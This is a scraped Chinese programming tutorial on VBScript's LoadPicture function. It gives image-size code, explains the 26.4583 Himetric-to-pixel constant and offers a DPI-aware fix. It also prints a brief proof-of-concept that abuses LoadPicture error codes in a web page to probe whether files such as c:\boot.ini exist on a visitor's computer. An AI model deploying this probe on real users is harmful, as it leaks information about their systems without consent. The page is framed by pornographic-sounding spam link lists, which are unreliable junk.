婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > vbscript LoadPicture函數(shù)使用方法與漏洞利用

vbscript LoadPicture函數(shù)使用方法與漏洞利用

熱門標(biāo)簽:龍巖400電話申請 墨西哥地圖標(biāo)注app 外呼系統(tǒng)說話聲音小怎么辦 機(jī)器人打電銷適用于美業(yè)嗎 企業(yè)400電話辦理價錢低 智云億呼電話機(jī)器人 外呼系統(tǒng)群 上海辦理400電話選號 天津智能外呼系統(tǒng)排名

復(fù)制代碼 代碼如下:

title>LoadPicture函數(shù)/title>
form name="frm">
選擇圖片input type="file" name="pic" onChange="GetPicInfor()" >
/form>
script language="vbscript">

Sub GetPicInfor()
dim objpic,iWidth,iHeight
dim pictype,picpath
picpath=document.frm.pic.value
set objpic=Loadpicture(picpath)
iWidth = round(objpic.width / 26.4583) '26.4583是像素值
iHeight = round(objpic.height / 26.4583)
select case objpic.type
case 0
pictype = "None"
case 1
pictype = "Bitmap"
case 2
pictype = "Metafile"
case 3
pictype = "Icon"
case 4
pictype = "Win32-enhanced metafile"
end select
document.write "你選擇了圖片"picpath
document.write "li>長度:"iHeight"/li>"
document.write "li>寬度:"iwidth"/li>"
document.write "li>類型:"pictype"/li>"
End Sub
/script>


不過這個函數(shù)有個漏洞,可以探測電腦上存在的文件名。2004年的漏洞,微軟現(xiàn)在也沒補(bǔ),示例:

復(fù)制代碼 代碼如下:

form onsubmit="doIt(this);return false">
input name="filename" value="c:\boot.ini" size="80" type="text">input type="submit">
/form>
script language="vbscript">
Sub loadIt(filename)
LoadPicture(filename)
End Sub
/script>
script language="javascript">
function doIt(form) {
try {
loadIt(form.filename.value);
} catch(e) {
result = e.number;
}
if (result != -2146827856) {
alert('file exists');
} else {
alert('file does not exist');
}
}
/script>


這段代碼中有一個“魔法數(shù)字(Magic Number)”26.4583,曾經(jīng)有位昵稱是“亂碼”的朋友問過我這個26.4583是怎么來的,當(dāng)時我也不知道。

前段時間逆向分析了一下vbscript.dll,才發(fā)現(xiàn)了其中的奧秘:
復(fù)制代碼 代碼如下:

26.4583 = 2540 / 96

那你一定要問,這個2540和96又是怎么來的?

要弄清楚這個問題,首先要知道VBS的LoadPicture函數(shù)返回的到底是什么,VBS文檔是這么描述LoadPicture函數(shù)的:

Returns a picture object. Available only on 32-bit platforms.

只說返回圖片對象,卻沒說該圖片對象有什么屬性和方法。文檔語焉不詳,只好動用OllyDbg了:



LoadPicture函數(shù)內(nèi)部調(diào)用了OleLoadPicture函數(shù),查文檔可知返回的是IPictureDisp接口。不過后來我發(fā)現(xiàn)了更簡單的方法,那就是查VB的函數(shù)聲明(誰讓它們是一家人呢),在VB的對象瀏覽器中查找LoadPicture函數(shù):

Function LoadPicture([FileName], [Size], [ColorDepth], [X], [Y]) As IPictureDisp雖然VBS的LoadPicture函數(shù)比VB的簡單,但是返回值應(yīng)該是一樣的。

好了,知道返回的是IPictureDisp接口,文檔說它支持下面的屬性:

Property Type Access Description
Handle OLE_HANDLE (int) R The Windows GDI handle of the picture
hPal OLE_HANDLE (int) RW The Windows handle of the palette used by the picture.
Type short R The type of picture (see PICTYPE).
Width OLE_XSIZE_HIMETRIC (long) R The width of the picture.
Height OLE_YSIZE_HIMETRIC (long) R The height of the picture.

我們只關(guān)心Width和Height,它們分別表示圖片的寬和高,但是它們的單位不是像素(Pixel),而是Himetric,我們要做的是把Himetric換算成Pixel。

首先把Himetric換算成英寸(Inch),1 Himetric = 0.01 mm,1 Inch = 2.54 cm,所以1 Inch = 2540 Himetric。

然后從Inch換算成Pixel,1 Inch等于多少Pixel呢?這是由系統(tǒng)的DPI(Dot Per Inch)設(shè)置決定的,默認(rèn)值是96。

現(xiàn)在知道2540和96是怎么來的了吧?不過上面的代碼存在兩個問題:第一,使用了2540/96的近似值,可能會有誤差;第二,使用了DPI的默認(rèn)值96,而DPI的值是可以在控制面板中修改的。

VBS中LoadPicture函數(shù)的正確用法是:

復(fù)制代碼 代碼如下:

Option Explicit

'By Demon
Dim p
Set p = LoadPicture("D:\test.jpg")
WScript.Echo "Width: " Himetric2Pixel(p.Width)
WScript.Echo "Height: " Himetric2Pixel(p.Height)

Function Himetric2Pixel(n)
'1 Inch = 2540 Himetric
Const key = "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics\AppliedDPI"
Dim WshShell, dpi
Set WshShell = WScript.CreateObject("Wscript.Shell")
dpi = WshShell.RegRead(key)
Himetric2Pixel = Round(n * dpi / 2540)
End Function


Windows 7下通過測試,其他系統(tǒng)中獲取DPI的方法可能會不同,請自行修改。

上面修正的內(nèi)容來自: http://demon.tw/programming/vbs-loadpicture.html 

您可能感興趣的文章:
  • vbs中的LoadPicture函數(shù)示例
  • VBS教程:函數(shù)-LoadPicture 函數(shù)

標(biāo)簽:阜新 齊齊哈爾 鄂爾多斯 錫林郭勒盟 黃山 承德 麗水 青島

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《vbscript LoadPicture函數(shù)使用方法與漏洞利用》,本文關(guān)鍵詞  vbscript,LoadPicture,函數(shù),使用方法,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《vbscript LoadPicture函數(shù)使用方法與漏洞利用》相關(guān)的同類信息!
  • 本頁收集關(guān)于vbscript LoadPicture函數(shù)使用方法與漏洞利用的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    日韩成人av影视| 亚洲欧美日韩中文播放| 日韩理论片中文av| 成人小视频免费在线观看| 久久亚洲影视婷婷| 亚洲视频在线一区观看| 91亚洲男人天堂| 国产盗摄女厕一区二区三区| 国产午夜精品美女毛片视频| 国产999精品久久| 日本亚洲视频在线| 亚洲一区二区四区蜜桃| 亚洲激情男女视频| 亚洲毛片av在线| 亚洲福利一区二区| 欧美成人在线直播| 国产成人精品免费在线| 国产suv精品一区二区6| 国产suv精品一区二区6| 麻豆精品视频在线| 日本高清无吗v一区| 日韩一二三四区| 91激情五月电影| 国产亚洲污的网站| 激情五月婷婷综合网| 在线视频欧美精品| 日本免费新一区视频| 国产98色在线|日韩| 欧美一区二区女人| 日本中文字幕一区二区视频 | 国产精品色噜噜| 极品少妇一区二区三区精品视频 | av在线免费不卡| 日韩欧美国产一区二区在线播放 | 香蕉成人啪国产精品视频综合网 | eeuss影院一区二区三区| 欧美日韩视频第一区| 亚洲精品免费在线播放| 99精品在线观看视频| 亚洲日本va午夜在线电影| 色老综合老女人久久久| 亚洲不卡一区二区三区| 日韩欧美一卡二卡| 大美女一区二区三区| 17c精品麻豆一区二区免费| 波多野结衣精品在线| 亚洲精品日日夜夜| 欧美电影免费观看高清完整版在| 免费成人av在线| 亚洲欧美日韩一区二区| 欧美在线免费视屏| 美国欧美日韩国产在线播放| 国产精品私人自拍| 日韩一区二区不卡| 99久久精品国产网站| 久久久不卡影院| 欧美另类videos死尸| 日韩欧美一卡二卡| 国产精品色在线| 国内不卡的二区三区中文字幕| 国产毛片精品一区| 国产精品女上位| 91激情五月电影| 日本中文在线一区| 欧美最新大片在线看| 一区二区三区鲁丝不卡| 精品国产欧美一区二区| 91小宝寻花一区二区三区| 久久99蜜桃精品| 午夜在线成人av| 美洲天堂一区二卡三卡四卡视频| 国产丝袜在线精品| 国产精品对白交换视频| 亚洲少妇屁股交4| 亚洲欧洲制服丝袜| 中文字幕一区二区5566日韩| 国产精品久久久久久久久快鸭| 国产欧美中文在线| 中文乱码免费一区二区| 日本高清不卡视频| 日韩一级黄色片| 99精品在线免费| 欧美亚洲免费在线一区| 91精品国产综合久久婷婷香蕉| 欧美日韩免费一区二区三区视频| 日本在线不卡视频| 日韩免费福利电影在线观看| 91黄视频在线| 亚洲欧美日韩综合aⅴ视频| 国产精品欧美精品| 污片在线观看一区二区| 亚洲成a人v欧美综合天堂下载| 国产福利一区二区三区| 成人三级在线视频| 91精品办公室少妇高潮对白| 欧美色爱综合网| 欧美群妇大交群中文字幕| 精品国产一区二区三区av性色| 一区二区三区四区高清精品免费观看 | 欧美日韩亚洲综合一区二区三区| 欧美日韩精品免费观看视频| 亚洲国产精品成人综合| 婷婷综合另类小说色区| 亚洲少妇中出一区| 六月丁香婷婷色狠狠久久| 日本丶国产丶欧美色综合| fc2成人免费人成在线观看播放| 欧美军同video69gay| 亚洲国产日日夜夜| 五月天激情综合| 日韩一区二区不卡| 成人爽a毛片一区二区免费| 国产蜜臀97一区二区三区| 成人午夜伦理影院| 亚洲欧美日韩一区二区三区在线观看| 蜜桃在线一区二区三区| 日韩亚洲欧美综合| a4yy欧美一区二区三区| 久久久不卡网国产精品一区| 欧美亚洲愉拍一区二区| 亚洲精品视频在线| 蜜臀av亚洲一区中文字幕| 色综合一个色综合| 欧美高清视频一二三区 | 337p亚洲精品色噜噜| 午夜成人免费视频| 日韩精品一区国产麻豆| 国产麻豆91精品| 一区二区三区四区视频精品免费| 欧美日韩精品三区| 亚洲电影视频在线| 成人av资源站| 亚洲自拍都市欧美小说| 精品美女在线观看| 宅男在线国产精品| 1区2区3区国产精品| 国产香蕉久久精品综合网| 欧美无砖砖区免费| 亚洲不卡av一区二区三区| www.日韩在线| 日韩视频免费观看高清完整版在线观看 | 国产精品全国免费观看高清| 青青草国产精品亚洲专区无| 欧美在线免费观看亚洲| 亚洲一区二区三区精品在线| 91国在线观看| 日韩av一级片| 久久久久久黄色| 成人国产精品免费网站| 亚洲另类一区二区| 欧美日韩国产欧美日美国产精品| 午夜欧美一区二区三区在线播放| 欧美另类z0zxhd电影| 精品午夜一区二区三区在线观看| 久久一区二区三区四区| 国产一区二区三区久久悠悠色av| 国产日韩欧美a| 91免费版在线| 日韩国产精品大片| 亚洲国产精品激情在线观看| 91精品办公室少妇高潮对白| 日韩精品视频网站| 国产日产亚洲精品系列| 99re66热这里只有精品3直播 | 日韩欧美激情一区| 国产精品一区二区无线| 国产精品黄色在线观看| 91黄色免费看| 日韩va欧美va亚洲va久久| 国产欧美精品日韩区二区麻豆天美| av高清久久久| 丝袜国产日韩另类美女| 国产农村妇女毛片精品久久麻豆| 欧洲生活片亚洲生活在线观看| 久久疯狂做爰流白浆xx| 亚洲色图制服诱惑 | 日本免费在线视频不卡一不卡二| 久久众筹精品私拍模特| 欧美草草影院在线视频| 久久精品综合网| 婷婷丁香久久五月婷婷| 99久久久精品| 亚洲1区2区3区视频| 精品污污网站免费看| 亚洲精品在线免费播放| 天天综合网天天综合色| 欧美日韩一区二区不卡| 日本一道高清亚洲日美韩| 日韩女优av电影| 国精品**一区二区三区在线蜜桃| 欧美一区二区网站| 美女视频黄免费的久久| 精品国产乱码久久久久久久| 国内精品免费**视频| 日韩女优av电影| 成人久久视频在线观看| 亚洲精品欧美在线| 懂色av中文字幕一区二区三区| 精品国产在天天线2019| 日韩精品色哟哟|